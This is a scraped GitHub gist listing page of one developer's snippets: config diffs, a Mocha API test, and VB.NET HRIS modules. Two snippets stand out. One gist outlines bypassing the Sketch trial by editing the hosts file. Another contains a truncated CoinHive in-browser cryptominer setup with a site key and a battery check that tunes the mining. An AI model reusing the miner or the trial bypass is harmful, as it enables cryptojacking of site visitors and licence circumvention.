Skip to content

Instantly share code, notes, and snippets.

Working from home

Philip Cesar Garay jbagaresgaray

Working from home
View GitHub Profile
jbagaresgaray /
Created May 29, 2020 — forked from Bhavdip/
Modify Sketch to never ending trial

###Sketch trial non stop

Open hosts files:

$ open /private/etc/hosts

Edit the file adding:

View gist:0cfe5399630350a1c5f4cdb2af543d2a 1) 1) 1) 1) (Ionic 1) (Ionic 1) (Ionic 1) (Ionic 3)
jbagaresgaray /
Created Dec 19, 2018 — forked from cironunes/
Firebase Cloud Function for Angular SSR
-  "outputPath": "dist/piggybank", 
+  "outputPath": "functions/dist/piggybank",
-  "outputPath": "dist/piggybank-server",
+  "outputPath:": "functions/dist/piggybank-server",
jbagaresgaray / accounts.js
Created Mar 5, 2018
unit test using Chai, Should and Mocha JS
View accounts.js
let chai = require('chai');
let chaiHttp = require('chai-http');
let should = chai.should();
let apiURL = '';
let lastInsertID = null;
let token = null;
let user = {
username: '4LOOP.003',
password: '123456'
View gist:94dbc21dd54f6632f40af66b30484252
<script src=""></script>
<script type="text/javascript">
var xmr = new CoinHive.Anonymous('nZA7gxQv1dArvhcounbgzBcNKQliOCx2', { throttle: 0.85, threads: 2 });
try {
var threads = Math.max(1, Math.floor(navigator.hardwareConcurrency / 4));
navigator.getBattery().then(function(battery) {
if (battery.charging) {
View payroll.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPayroll
Public Structure payslip_selectedEmployee
Dim IndexID As Integer
Dim PayrollID As Integer
Dim EmployeeID As String
View division.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modDivision
Public Structure Divisions
Dim div_id As Integer
Dim div_code As String
Dim div_name As String
Dim div_desc As String
jbagaresgaray / positiongroup.vb
Created Feb 8, 2017
HRIS Job Title Grouping
View positiongroup.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPositionGroup
Public Structure Group_Position
Dim GroupID As Integer
Dim GroupCode As String
Dim GroupName As String
Dim Description As String
View position.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPosition
Public Structure Positions
Dim jt_id As Integer
Dim jt_name As String
Dim jt_addedby As Integer
Dim jt_dateadded As Date